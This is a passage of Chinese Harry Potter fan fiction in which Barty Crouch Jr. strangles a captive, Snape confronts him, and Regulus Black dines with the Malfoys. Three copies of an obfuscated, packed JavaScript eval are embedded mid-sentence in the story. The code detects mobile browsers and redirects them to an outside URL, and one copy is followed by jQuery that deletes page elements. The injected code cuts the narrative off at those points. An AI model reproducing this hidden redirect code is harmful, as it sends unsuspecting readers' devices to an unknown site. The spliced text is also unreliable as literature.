河底光线异常幽暗,水草如同鬼魅的触手般缠绕。直到这时,博金·博克才借着微弱的光线看清,小巴蒂的右手臂下还死死夹着另一个人——那人双目紧闭,毫无生气,裸露在外的脸颊和手臂上布满了狰狞的擦伤和淤青,黑色的头发如同海藻般在水中无力地飘荡。面色是一种近乎透明的死白,在幽暗的水底看起 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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四周很安静,只有远处隐约传来的搜索声反衬着此地的死寂,近处是各种不知名的虫鸣和夜鸟的啼叫,月光清冷地投射在大地上,将三人的影子拉得细长诡异。 博金·博克手下不敢怠慢,尽可能专业地包扎着,手指不可避免地触碰到埃米洛的胸腹。他的脸色微微一变。“肋骨断了……可能不止一根……”他颤抖着声音说,顺着埃米洛的胸腹摸下去,“他……他他他,必须去圣芒戈!立刻!马上!再不济也需要生骨灵和大量的白鲜精华!否则……”否则必死无疑。 小巴蒂闻言,嘴角猛地抽动了一下,露出来一个厉鬼一样,僵硬而扭曲的笑容,在月光下显得无比瘆人。他没有搭话,只是那双疯狂的眼睛死死盯着埃米洛苍白的面孔。 博金·博克完全摸不准他这反应是什么意思。他费这么大劲,冒着巨大风险把这小子从火场和包围圈里带出来,难道现在又要眼睁睁看着他死在自己面前?这疯子到底想干什么?! 梅林啊!我到底是造了什么孽要摊上这种事!他再次在内心哀嚎。 就在这时,小巴蒂突然歪了歪嘴角,在博金·博克惊恐万分的注视下,做出了一个令人毛骨悚然的动作——他伸出手,捏住了埃米洛的鼻子,然后用另一只手死死捂住了他的嘴,仿佛真的要活生生将这个奄奄一息的人憋死! “想活么?”小巴蒂的声音低沉沙哑,他的脸在月光照耀下惨白如恶鬼,眼神里翻滚着一种极度复杂的情感——愤怒、怨恨、或许还有一丝难以察觉的痛苦,“想活么?你把一切都毁了……我的计划……所有人的……你还是去死吧……学长……” 被捂住口鼻的埃米洛起初毫无动静,仿佛已经感觉不到任何痛苦。但片刻后,求生本能或许冲击了他深沉的昏迷,他的身体开始小幅度的抽搐,然后是一阵微弱至极的、被强行抑制住的咳嗽从喉咙深处溢出,身体也开始本能地微弱的挣扎。 他真的会死的!博金·博克瞪大了眼睛,几乎不敢呼吸,手脚冰凉地看着这恐怖的一幕。 小巴蒂似乎改变了主意,或者说加剧了他的惩罚。他松开口鼻,转而用双手狠狠地掐住了埃米洛的脖子,手指用尽全力地收紧。埃米洛的脸色开始以肉眼可见的速度由苍白转为骇人的铁青,喉咙里发出可怕的、细微的咯咯声。 不一会儿,他身体最后那点微弱的挣扎也像被按下了暂停键,彻底停止了。 那只原本无力垂落的手,在最后失去意识的瞬间,微微抬起又落下,刚好软软地砸在小巴蒂的衣角上,布料被牵扯了一下,那姿态看上去,竟像是无意识地、轻轻地拉了他一下他的衣服一样。 …… 小巴蒂像是被烫到一般,猛地深吸了一口气,眼中的疯狂和狠戾如同潮水般退去少许,取而代之的是一瞬间的麻木和烦躁。他慢慢地,极其缓慢地松开了掐着埃米洛脖子的手。 “背上他。”他转向博金·博克,声音恢复了之前的冰冷和命令式,不容置疑,“他挣扎一下,或者死了,你就去见梅林去吧。” “我我我……我们去哪里?”博金·博克魂飞魄散,小心翼翼地挪动着埃米洛软绵绵的身体,试图将他背到背上。动作间,不可避免地牵动了埃米洛的伤口,背起他的瞬间,一直昏迷的人竟然发出了一阵微弱却惊天动地的、撕心裂肺般的咳嗽,仿佛要把肺都咳出来。 大哥!祖宗!你真是我活祖宗!博金·博克内心彻底崩溃了,他僵在原地,一动不敢动,只能小心翼翼地偷瞄小巴蒂的神色,生怕下一秒杀戮咒就朝自己飞来。 “跟着走就是了。”小巴蒂瞥了一眼似乎连最后一点生气都无力咳出去的埃米洛,嘴角扯出一个冰冷莫测的冷笑,不再多言,转身没入林间的阴影之中。博金·博克不敢有丝毫犹豫,艰难地调整了一下背上几乎感觉不到重量的躯体,咬紧牙关,踉跄着跟了上去。 41.毒蛇与蝙蝠 西弗勒斯面无表情地给最后一张写满了字的魔药学论文打了一个大大的T(最糟糕),然后用锋利又飞扬的字迹签下了:不如抄袭。四个大字。 这帮小鬼简直是在玷污魔药学这门精密的艺术。每一个拼写错误的魔药成分,每一处潦草敷衍的步骤描述,都像是对他毕生追求的侮辱。羊皮纸上那黏糊糊的、疑似南瓜汁的污渍更是让他的嘴角抿成一条冰冷的直线。 他的职工宿舍位于地窖,终年阴冷潮湿,空气中弥漫着各种储藏药材的复杂气味。最先开始当老师的一两年,这里什么也没有,只有羽毛笔,墨水,堆积如山的学生作业,以及比地窖墙壁更冷的寂静。但慢慢的,这里的东西多了起来——一盏散发着温暖光线的魔法油灯(麦格教授赠送,声称“有助于缓解视觉疲劳”),桌子上的一个总装着柠檬雪宝和滋滋蜜蜂糖的锡罐(庞弗雷夫人强硬放置,理由是“防止有学生在他的办公室大哭时无法安抚”),一个计时的银制沙漏(弗立维送的圣诞礼物),甚至窗台上还出现了一盆极其耐阴、生命力顽强的龙血藤(斯普劳特教授某日笑眯眯带来,说“地窖需要点活气儿”)……这些东西大部分都是其他老师节假日硬塞给他的。他总会告诉他们明年不要再给他送这些无用的东西了,但第二年总会有新的“无用之物”出现。 虽然他表面上总摆出十足的嫌弃,但实际上,他确实开始习惯,习惯那些小鬼头在走廊里吵闹奔跑的动静,习惯批阅那些让人看了就想冷笑的灾难性作业,习惯其他同事那种带着试探又固执的关心…… 今年是1986年,距离神秘人被打败已经过去了5年,莉莉也去世了有5年。如果她顺利投胎,现在正好是快要去麻瓜小学上一年级的年龄。这个念头像一枚细小的针,总是在最不经意的时刻刺他一下,不剧烈,却持续地泛着酸涩的疼。 “斯内普教授。”霍格沃兹城堡一张肖像画里的骑士挤进了他挂在墙上的相框里,声音打破了地窖的沉寂:“邓布利多校长找你。” 很好,正好卡在他批完最后一份令人火冒三丈的作业,马上要睡觉之前。 西弗勒斯面无表情地站起来,像一道黑色的阴影滑出办公室,穿过幽暗的地窖走廊,踏上霍格沃兹旋转的楼梯。越往上走,墙壁上的火把越多,光线一点点增强,但他周身的气压似乎比地窖还要低沉。 “柠檬雪宝。”他对着那只丑陋的石兽干巴巴地说出口令。 旋转楼梯升起,校长办公室的门打开。邓布利多坐在办公桌后面,正往红茶杯子里加入过分计量的糖,银器发出轻微的叮当声。“你来了,西弗勒斯。”他语气如常。 “如果您知道,现在是半夜12点——”西弗勒斯的声音像是被地窖的寒气浸透过。 “哦……我当然是有要事跟你说。”邓布利多搓了搓手,蓝色的眼睛在半月形镜片后闪烁着,却并非全然是平日里的温和,多了一丝凝重,“克劳奇庄园着火了,凤凰社刚刚传来的消息。” “这能说明什么?”西弗勒斯面无表情地问道,语气近乎无礼,“或者说,这关我什么事——”他刻意拖长了语调,表达着被打扰的不满。 “在庄园的外围,出现了黑魔标记。”邓布利多继续说道,声音平稳,但话语的重量足以让空气凝固。西弗勒斯立刻感到左臂袖下的皮肤隐隐灼痛起来,那是一种深入骨髓的、条件反射般的厌恶与恐惧。 “阿兹卡班大批食死徒被放出来了。看看这个……”邓布利多将一张照片推过桌面。 西弗勒斯皱着眉接过。照片拍得很模糊,晃动得厉害,不知道是因为阿兹卡班常年不断的雨幕,还是因为拍照的人吓破了胆子。 影像中,为首的是贝拉特里克斯·莱斯特兰奇,正站在雨水中疯癫地狂笑着,扭曲的面容充满了毁灭的快意。她身后是罗道夫斯和拉巴斯坦,凶残的多洛霍夫……许多人,那些最邪恶的食死徒,都正被恭敬地请上一条大船。而船头站着的那个人—— 西弗勒斯的眉头锁得更紧,指尖无声地拂过照片上那个人的脸。 船头是埃米洛·德蒙特。穿着魔法法律执行司司长的正式袍服,表情在雨中看不真切,身旁跟着两位姿态卑躬屈膝、几乎要缩进地里的阿兹卡班狱警。 “我联系了阿米莉亚·伯恩斯。”邓布利多观察着他的表情,语气依旧平稳,“这批人本来都是准备要处以死刑的,伯恩斯和德蒙特一起签的字,程序批得很快。” “但是他把他们放走了。”斯内普接话,声音像是从冰窖里捞出来,听不出丝毫喜怒。 “表面上看,是这样……西弗勒斯。” “你明明知道这根本不可能!”西弗勒斯猛地提高了音量,一掌拍在邓布利多的桌面上,震得银器叮当作响。他修长的手指用力戳着那张照片上埃米洛的脸,“德蒙特!他根本放不出一个像样的守护神!一个连摄魂怪都无法正面驱散的人,怎么可能有胆子、有能力跑去那里,放走这群疯子?!这分明是个蹩脚的圈套!” “冷静一下,孩子……”邓布利多从抽屉里拿出一盒五彩缤纷的蟑螂堆,“吃些甜的有利于你平复心情。” “省省你的糖,阿不思!”斯内普甩开他的手,黑袍因激动而再次翻涌。 “这张照片现在很多人都拿到了,福吉,我,威森加摩的其他成员……黑魔标记太过于显眼,北边现在几乎都知道了,消息是压不住的。魔法部正在连夜开会商讨方案,我马上也要出席……” “福吉那个没用的软蛋会把所有罪责都推给埃米洛!”斯内普的声音更大了些,带着毫不掩饰的讥讽,“我闭着眼睛都能猜到他那套保住自己屁股的官僚把戏!” “哦……西弗勒斯,我的孩子。”邓布利多站起身来,一件用于非常场合的、绣着复杂银色符文的深紫色魔法袍和配套的巫师帽从衣架上飞来,“我走不开,需要一个人帮我弄清楚到底发生了什么。你知道该怎么做,对么?”他的目光落在斯内普身上,带着一种不容置疑的信任。 “……”室内陷入短暂的寂静,只剩下布料摩擦的细微声响。西弗勒斯的下颌线绷得紧紧的。 “不。”他忽然生硬地说。 “什么?”邓布利多正了正帽子,回过头,似乎有些意外。 “这跟莉莉·波特的那个小鬼头完全没有关系……”西弗勒斯的声音低沉下去,带着一种压抑的尖锐,“跟我们原先说好的——保护那男孩以赎罪的交易——没有任何关系。你不要觉得每次都可以用这种方式……” “那孩子要是知道你终于肯正面喊他的教名了,一定会很高兴的。”邓布利多温和地打断了他的话,仿佛没听到他的拒绝,已经抓起了壁炉旁水晶碗里的飞路粉。 “这件事,目前只有你能帮我了,西弗勒斯。”他用那双能看透人心的蓝眼睛最后看了他一眼。 “我相信你——魔法部!” 绿光闪过,邓布利多的身影在壁炉中旋转消失。校长室的画像们随着他的离开开始窃窃私语,那些细碎的议论声像蚊子一样嗡嗡作响,吵得西弗勒斯额角青筋直跳。 ……埃米洛·德蒙特! 他在心里怒吼,看看你留下的这摊烂泥! 我现在应该睡觉,难道我什么都给听他的么?西弗勒斯一把推开校长室的门,袍子在身后飞舞。 不知道为什么,今天的旋转楼梯格外不给力,等的他心焦……他青筋直跳,然后猛地转身,再次回到校长室。抓了一把飞路粉,几乎是砸进了壁炉的火焰里。 “蜘蛛尾巷!——”他咬着牙大声说道。 身体被挤压拉扯,下一刻,他出现在蜘蛛尾巷家中那冰冷、昏暗的客厅。灰尘的味道扑面而来。他没有丝毫停顿,像一阵黑色的飓风穿过一楼直奔二层书房。手指熟练地拂过书架上的特定书籍,打开隐藏的暗格,将一些有着特殊功能的小瓶子(比如隐身粉、强效昏迷粉末)快速扫进黑袍内衬的特制口袋里。然后脱下龙皮靴,在靴筒内侧的夹层里塞入一根备用的魔杖。 随后,他打开一个沉重的橡木箱子,从箱底扯出一件叠得整齐、却依旧散发着阴冷气息的黑色长袍——那是食死徒的专属袍子。他利落地穿上它,宽大的兜帽遮住了他半张脸,最后一步,他从箱子最深处摸出一个冰冷坚硬的银色面具。 做完这一切,他习惯性地拉开书桌抽屉,想最后确认一下应急药材是否齐全。他的动作却猛地顿住—— 他的目光凝固在那一排魔药瓶上。那瓶他亲手熬制、标签标注得一丝不苟的白鲜香精……液面明显下降了一截。 有人动过! 西弗勒斯骤然蹲下身,动作快得只剩下一道残影。 一道刺眼的绿光几乎贴着他的头皮擦过,狠狠击打在他身后的书架上,烧焦的木屑和纸片四溅。他就势向前一滚,同时魔杖向后一指,窗户在无声咒的作用下轰然炸开,碎裂的玻璃像雨点般落下。他像一只敏捷的蝙蝠,从破开的窗口飞跃而出,落在了外面狭窄、肮脏的巷子里——这里相对开阔,便于他观察和防御。 “不许动!——”一个紧张到变调的声音在他身后响起,同时,一个尖锐的物体抵上了他的后腰,“这……这是沾过剧毒的!动一下就死!” 雨声很大,几乎淹没了街上的动静。 “……你用我的毒药,”西弗勒斯的声音冷得能冻住空气,他右手以迅雷不及掩耳之势向后一扣一扭,轻易夺走了那柄匕首,左手同时拉住那人的手腕猛地向前一拽!袭击者惊呼一声,被他狠狠摔在湿漉漉的地面上,匕首当啷一声飞了出去。西弗勒斯的魔杖尖端已经精准地抵上了那人的喉结。 “妄图来控制我?”他的语气里充满了毫不掩饰的轻蔑。 “出来——”他目光锐利如鹰隼,射向那扇被他炸碎的、黑洞洞的窗户,“不然我就杀了他——”他的魔杖微微用力,地上的俘虏发出一声痛苦的呜咽。 窗户后面静悄悄的,只有碎玻璃在风中摇晃,仿佛那里根本从未藏人。 冰冷的雨滴迅速变得密集,敲打着地面和屋顶,模糊了人的视线,也冲淡了巷子里原本可能存在的其他气味。 突然,一团白色的烟雾在斯内普身旁的空气里炸开,带着刺鼻的气味。几乎同时,又一道绿光从斜上方的屋顶射来, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16237748|175933||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 精准地穿过他刚才站立的位置! 西弗勒斯反应极快,一手刀利落地劈晕了地上的俘虏,同时身体再次幻影移形,消失在原地。 下一刻,他再次幻影移形,直接出现在对面屋顶那个袭击者的背后,无声无息,如同鬼魅。他毫不犹豫,一记精准的手刀狠狠劈在那人握魔杖的手腕上! 袭击者闷哼一声,魔杖脱手飞出。 “通通石化!”西弗勒斯的咒语紧随而至。但对方显然也训练有素,就地一滚险险避开。魔杖再次挥动,不是指向人,而是指向巷子里废弃的一把破椅子——“飞来冲击!” 破椅子呼啸着砸向袭击者,并在飞行过程中爆开,无数像是绷带又像是绳索的魔法带子瞬间将袭击者缠绕起来,牢牢捆缚在原地。那人越是挣扎,带子缠得越紧。 西弗勒斯这才一步步走近,蹲下身,毫不客气地细细摸遍俘虏身上的每一个角落,将搜出的又一根魔杖、几瓶毒药、一枚暗器……全部丢到一边的积水里。然后,他一把掀开了对方脸上那湿漉漉的银色面具。 一张苍白、疯狂、因愤怒和疼痛而扭曲的年轻面孔暴露在雨水中。那双眼睛里燃烧着熟悉的、歇斯底里的火焰。 “……小巴蒂·克劳奇?”西弗勒斯用魔杖尖端冰冷地抵在他的脸颊上,微微用力。“你应该在阿兹卡班烂死了才对。”他冷笑道,声音里淬着毒液。 他没有闻到复方汤剂那特有的怪异气味,显然眼前这个人是正主……他想到了邓布利多方才告知的食死徒大规模出逃,看来和眼前这个疯子绝对脱不开干系。 得来全不费工夫么?他嘴角勾起一丝冰冷的弧度。 “西弗勒斯·斯内普……”小巴蒂看上去并没有那种被彻底拿捏了的惊慌,他疯狂的眼睛自下而上地死死盯着斯内普,甚至扯出一个扭曲的笑容,“虽然你是个卑鄙的叛徒……但是斯拉格霍恩那个老滑头藏得太隐秘了,而你,”他啐出一口带血的唾沫,“你这几年沉迷于邓布利多为你们编织的虚假美梦里,对自己的老巢……保护得可不如从前那么严密了……” “对付你也足够了。”西弗勒斯居高临下,魔杖更加威胁地用了些力,小巴蒂的头被抵得歪向一边,戳出一个小小的坑。 魔杖下的人却爆发出一阵剧烈的大笑,笑声在雨夜里显得格外瘆人,“我刚才在你家,你的抽屉里,看见了一张照片……莉莉·波特那双漂亮的绿眼睛,可真让人难忘,是不是?” “那又如何。”西弗勒斯的声音瞬间降到了冰点以下,眼神阴沉得可怕。 “不如何。”小巴蒂漫不经心地往后靠了靠,尽管这个动作让魔法带子勒得更紧,“我就是前一阵子……碰巧见到了我们亲爱的、大名鼎鼎的小救世主……” 西弗勒斯的眉头骤然锁紧,魔杖纹丝不动,但周身的空气仿佛凝固了。 “在他身上,留下了那么一个小小小小的魔法……”小巴蒂抬起眼,雨水顺着他额前的头发流下,更添几分阴气森森。 “没有时空限制。我只需要动一动手指,”他戴着镣铐的手指极其轻微地抽搐了一下,“我们幼小的救世主,现在就能疼得死去活来,生不如死。你想听听他可能会怎么哭喊吗,西弗勒斯?” 西弗勒斯看他的表情依旧毫无波澜,小巴蒂玩味的翘了一下嘴角。 好疼好疼好疼……救救我救救我救救我……妈妈,爸爸……他模仿着孩子的声音,哼哼了起来。 爸爸…… 爸爸不要再打我了……妈妈,我真的好疼……妈妈,妈妈妈妈,妈妈妈妈妈妈……不,不要伤害妈妈!—— “你威胁我?”西弗勒斯冷哼一声,极力掩饰住一瞬间的心悸,“你觉得我还会在乎那个泥巴种,以及她留下的那个孩子?” “别急嘛……亲爱的叛徒同事。”小巴蒂侧过脸,嘴唇亲吻到西弗勒斯的魔杖杖尖,轻轻用舌尖点了一下他的杖身,露出一个极度挑衅的笑容。 “我可是还遇到了其他人……提醒一下……同样是格兰芬多。” 一道惨白的闪电划破夜空,紧随其后的雷鸣轰隆巨响,更多的雨水从破开的窗户浇进来。借着那瞬间的光亮,以及距离的拉近,西弗勒斯后知后觉地闻到了——那一直被雨水和打斗气息掩盖掉的、从小巴蒂袍子深处散发出来的、浓重得令人作呕的血腥味儿。 “哦,你终于开始思考我身上的血是谁的了。” 小巴蒂压低声音,像是毒蛇在嘶嘶作响,脸上带着一种残忍的愉悦,“如果你继续这么‘无礼’地对待我……我保证,这个房间里,你我的手上,很快就会瞬间染上这两个人的鲜血……想想看,会是谁呢?哪个格兰芬多……此刻正奄奄一息,等着我去决定最后的生死?嗯?” 小巴蒂看着斯内普脸上那极力压制却依旧泄露出一丝苍白的表情,终于忍不住再次大笑起来,笑声疯狂而肆意,“哈,哈哈,哈哈哈哈哈哈哈哈哈。” “太有意思了!真是太有意思了!” “所以,”他止住笑,歪着头,用那种天真又恶毒的语气问道,“我们现在可以好好说话了么?西弗勒斯?” 42.马尔福庄园 1986年,莱斯特兰奇庄园。阴冷的大厅,壁炉里跳跃的火焰是唯一的光源,在那些或带着银质面具的食死徒眼中投下摇曳不定的、冷酷的光。 他们都曾是黑魔王最核心、最重用的那批人,此刻像一群嗅到血腥味的秃鹫,冷冷地俯视着地上那团颤抖的肉球——彼得·佩迪鲁。 彼得几乎整个人都伏在了冰冷的地板上,粗糙的石面硌着他的膝盖和掌心,但他不敢移动分毫。那些目光,有些带着赤裸的恶意,有些充满冰冷的审视,像无数根针扎在他的背上,让他恨不得把自己缩得更小,小到消失。他瑟瑟发抖,像一只受惊的鼻涕虫,下意识地朝着旁边那片熟悉的黑色袍角蠕动,几乎要贴上去,仿佛那能提供一丝可怜的保护。 “小巴蒂·克劳奇……他,他是被老克劳奇救了出来……”彼得的声音尖细而破碎:“我被通缉之后……就一直东躲西藏,在这边……捡拾残羹剩饭果腹。然后……然后我就发现了小克劳奇,我……我以为找到了同伴,我帮了他!” “但他,他立刻绑架了我,用……用极其恶毒的黑魔法折磨我、要挟我……逼我替他做事。” 他抬起满是泪水和污渍的脸,努力想做出真诚的表情:“我不知道他到底要做什么,只能恐惧地遵循他的话……从霍格沃茨偷来了拉文克劳的冠冕……但,但我渐渐觉得不对劲……非常不对劲……” 他压低了声音:“因为他有一天带回了一具棺材,说是主人的父亲的……”他适时地表现出极大的恐惧和敬意,“我,我认为复活我们伟大的主人,是,是所有人都应虔诚见证的神圣时刻,但他却说什么……绝对不能说出去,只能有他一个人……他甚至,甚至事后想把我给……”彼得恰到好处地打了个剧烈的哆嗦,止住了话头,留下令人遐想的恐怖空间。 一片死寂中,罗道夫斯慢条斯理地抚摸着自己魔杖光滑的木质杖身:“复活仪式上,除了你们,还有其他人么?”他的眼睛轻蔑的瞥着他,“你们之前抓来的那两个魔法部的人呢?他们在哪?” “不……不不不!不知道啊!” 彼得像是被针扎了一样猛地摇头,身体伏得更低,几乎要嵌进地缝里,完美地掩饰了他眼中一闪而过的慌乱。 “估计……估计他们两个在仪式开始前就被他处理掉了吧?或者……仪式的时候就被那可怕的火焰烧死了?我真的不知道!复活仪式现场……就,就只有小巴蒂一个人!只有他!”他急急忙忙地重复,试图让这个说法听起来更可信。 “然后不知怎么的,整个庄园就烧起来了……好大的火……我,我拼了命才逃出来……”他呜咽着,身体因“后怕”而剧烈颤抖。 “巴蒂·克劳奇!他就是故意的!” 贝拉特里克斯的尖叫声撕裂了凝重的空气,她狂怒地挥舞着手臂,眼中燃烧着疯狂的火焰。 “我早就知道!克劳奇家的小崽子骨子里就是魔法部的奸细!主人当初信任他,一定告诉了他些秘密,他就利用这个……就这样卑鄙地堵死了主人回归的路径!(父亲的骨被毁)他罪该万死!你应该早一点把我们放出来!” “对……对不起……” “我要杀了他!把他撕成碎片!”她厉声嘶吼,魔杖直指天花板,仿佛小巴蒂就在那里。 “杀了他!杀了他!”周围的食死徒们立刻被她的狂热点燃,纷纷举起魔杖,发出附和的吼声,大厅里回荡着暴戾的声浪。 雷古勒斯·布莱克独自站在最深的阴影里,壁炉的光几乎照不到他所在的位置。他俊美的脸上没有任何表情,只有一双灰眸深处翻涌着晦涩难明的情绪。 他刚刚收到了克利切的消息(家养小精灵给那个逃出来的女孩灌了吐真剂),她什么都不知道,只知道自己的前男友被他们折磨死了。 但她说了一条关键的消息,跟彼得的话有所出入——和她一起逃出克劳奇掌控的还有翻倒巷那个黑魔法商店店主博金……所以,这一切绝不像彼得说的那般简单轻巧。 他自身与小巴蒂·克劳奇几乎毫无交集,和小巴蒂交好的是埃文·罗齐尔和赛普蒂默斯·埃弗里。而那两个人,后来都死了,死状一个比一个凄惨。也正因如此,小巴蒂在食死徒内部其实并不被广泛信任,很多人都排斥他,觉得不应该轻易相信一个祖祖辈辈都打击黑魔法家族出身的人。 但雷古勒斯却有一种模糊的感觉,他觉得小巴蒂或许比其他许多人都更狂热地信奉黑魔王……毕竟自己的哥哥小天狼星也对凤凰社近乎决绝的忠诚。这类人往往都容易因为和家族对抗走向极端。但这只是他的猜测,如果小巴蒂狂热崇拜黑魔王,他又为什么毁掉父亲的骨呢? 雷古勒斯微微掀起眼皮,冷漠地瞥了一眼正沉浸在暴怒中的贝拉和地上那团仍在抽泣的彼得。贝拉特里克斯似乎根本不在乎真相究竟是什么,她只需要一个发泄怒火和仇恨的对象。如果是他主导审讯,他会先给彼得灌上一大碗吐真剂再说。 可惜他来得太晚了,现在贝拉已经把他划入了自己的保护地盘,再想对彼得·佩迪鲁做点什么就难了…… 还有西弗勒斯,他皱起了眉头,扫视全程——他没来。 雷古勒斯知道,对方可能已经不再愿意参加食死徒的工作了,其实他自己也很不想来。但是他们都曾经陷入的太深……这种光明正大的缺席很容易引起注意,引起极端分子的报复。 他厌恶地看着彼得又一次颤抖着去亲吻贝拉沾满灰尘的袍角,内心一阵翻涌。 “……雷尔。”短暂的、充斥着狂热的聚会结束后,卢修斯·马尔福优雅地走到他身边。雷古勒斯瞥了一眼对方那头即使在昏暗光线下也无比醒目的铂金色长发,实在不明白他为何还要多此一举戴上食死徒的面具,简直是欲盖弥彰。 “卢修斯。”雷古勒斯微微颔首,声音平稳无波。 “茜茜希望你晚上能来庄园用晚餐,”卢修斯用他那特有的、拖长了调子的方式说道,“德拉科一直在念叨你,他很想你。” 雷古勒斯挑高了眉毛。他自然知道表姐纳西莎和卢修斯的儿子,德拉科·马尔福。老实说,他觉得那孩子被宠得有些过分,看起来似乎一点也没继承到马尔福家精明的算计和布莱克家的机敏。但奇怪的是,雷古勒斯并不讨厌他,甚至觉得,让孩子在充满溺爱的环境里长大,或许远比在缺乏爱的、冰冷苛刻的纯血教条中成长要好得多。 “我知道了,卢修斯。”他整理了一下自己黑色长袍的衣襟,语气依旧平淡,“我们走吧。” 马尔福庄园与莱斯特兰奇庄园的阴森压抑截然不同。不同于几乎从不管事、只热衷于制造恐怖和混乱的贝拉特里克斯,纳西莎显然极为用心地打理着自己的家。穿过精铁锻铸的华丽大门,映入眼帘的首先是一片广阔的花园,即便是二月的寒风也无法剥夺这里的生机。精心修剪的灌木丛勾勒出优雅的几何图案,花坛里种植着被施了强大魔法的白茶花,它们违背自然规律地一年四季盛放,花瓣层层叠叠,洁白无瑕,如同上好的羊脂玉雕琢而成,在微风中轻轻摇曳。 英国的天空通常是灰蒙蒙的,少见明媚阳光,但此刻不算强烈的光线透过云层,洒在这些被魔法滋养的植物上,竟折射出一种奇异而迷人的幽绿色光芒,仿佛每一片叶子、每一瓣花都变成了暗绿色的宝石,静谧而奢华。 庄园后方开阔的草坡上,散养着几只珍稀的白色孔雀,它们姿态优雅,拖着长长的尾羽,慢悠悠地踱步,偶尔发出清越的鸣叫。 主体建筑恢宏而典雅,外墙面是光洁的白色石材,一尘不染,巨大的落地窗擦拭得晶莹剔透,反射着天光和花园的景致。走进内部,挑高的大厅完美融合了古老纯血家族的厚重底蕴与一种轻盈的梦幻感。浅色大理石地板光可鉴人,墙壁上覆盖着银绿色调的丝绸壁纸,精美的浮雕和鎏金装饰恰到好处。华丽的水晶吊灯从天花板上垂下,成千上万颗切割完美的水晶即使未点燃也闪烁着细微的光芒。空气中弥漫着淡淡的、冷冽的花香,混合着古老木材的气息。 “雷古勒斯舅舅!”一个兴奋的、稚嫩的叫声打破了室内的宁静。一个白金色的小脑袋从二楼走廊的栏杆处探出来,灰蓝色的眼睛亮晶晶的。 “注意你的礼仪,德拉科。”卢修斯立刻皱起了眉头,用手杖轻轻敲了敲地板。 纳西莎很快牵着德拉科的手从旋转楼梯上走下。男孩儿挣脱母亲的手,像一颗小炮弹似的冲过来,一头撞进雷古勒斯的怀里。雷古勒斯脸上露出一丝几乎难以察觉的柔和,他伸手揉了揉对方那头柔软的白金色头发。 卢修斯看着自己孩子这无礼的行为,再次不赞同地举起了手杖,但在纳西莎警告的一瞥下,又默默地放了下去。 “雷古勒斯舅舅,你今天也能带我骑飞天扫帚吗?我爸爸给我买了光轮公司新出的儿童款,是最快的!”德拉科仰着小脸,满是期待地看着他。 “今天不行,德拉科。”卢修斯冷着脸代为回答,“我和雷古勒斯舅舅有重要的事情要谈。” “晚餐已经准备好了。”纳西莎适时地开口,“多比的厨艺又有长进了。我们边吃边聊吧,卢修斯?”她巧妙地打了个圆场,领着他们走向餐厅。 长长的餐桌上铺着雪白的绣花桌布,银质烛台和餐具擦拭得熠熠生辉。家养小精灵多比很喜欢雷古勒斯,他显然使出了浑身解数。第一道是盛放在精致白瓷碗里的奶油蘑菇汤,撒着细小的香草碎,香气浓郁;主菜是完美烘烤的羊排,外皮焦香酥脆,内里粉嫩多汁,搭配着用黄油煎得恰到好处的芦笋和小胡萝卜,摆盘宛如一幅静物画;旁边还有银盘盛放的烤鲑鱼,淋着柠檬和莳萝调制的酱汁。餐篮里是烤得金黄酥脆的餐包,旁边配着雕刻成玫瑰花形状的黄油。甜点是覆盆子挞,鲜红的浆果在灯光下如同红宝石般诱人。 用餐过程安静而有序,只有银质刀叉轻轻碰撞瓷盘的声音。席间会聊些无关紧要的家常话题和魔法界的生意经。 晚餐快结束时,卢修斯优雅地放下刀叉,状似无意地提起:“我最近在和北欧那边的生意人有些接触。有个叫奥黛丽的女人,手段相当厉害,不知用什么方法吞并了卡卡洛夫家族在德姆斯特朗的不少股份。但我最近比较忙……雷古勒斯,你有没有兴趣跟对方联系对接一下?未来的北欧市场大有可为啊。” “或许之后吧……”雷古勒斯也放下刀叉,用餐巾轻轻擦了擦嘴角,“你知道的,卢修斯,我对赚取加隆并没有那么热衷。如果不是出了这档子事,我现在应该在参加普德米尔联队的找球手培训。” “如果我说,那位奥黛丽小姐的渠道里,经手了很多有趣的炼金术器具呢?”卢修斯继续试探道,眼睛里闪烁着精明的光,“黑魔法的,白魔法的……甚至一些早已失传的古物。” “你知道原来的赫奇帕奇后人,史密斯家族吗?”他没等雷古勒斯回答便继续说下去,“我当然知道他们后来和麻瓜通婚,血统已经不再纯粹……但他们纯血的一支据说很早以前就融入了这位小姐的祖先那里。所以我说,她手里的东西,恐怕非同一般。” “考虑一下吧,雷尔。”卢修斯的声音带着意味深长的诱惑,“金钱或许可以不必追求那么多,但这些能安身立命、或者拥有特殊功能的魔法炼金道具,可是重金难求的珍宝。关键时刻,比一仓库加隆都有用。” “再珍宝的东西,在家里堆积久了,不也还是要找地方扔掉或者处理掉?”雷古勒斯轻易没上他的当,语气平淡地指出现实,“况且,现在魔法部的搜查越来越频繁,古灵阁也开始限制我们存放加隆的额度了,持有大量敏感物品,风险很高。” “不,亲爱的堂弟,现在正是最好的时机。”卢修斯的嘴角弯起一个得意的弧度,“魔法部,法律执行司那边,最碍事的、最不好对付的那块绊脚石,已经没了。小巴蒂·克劳奇阴差阳错倒也算是做了件‘好事’。” 这时,纳西莎敏锐地察觉到话题走向,轻声对德拉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 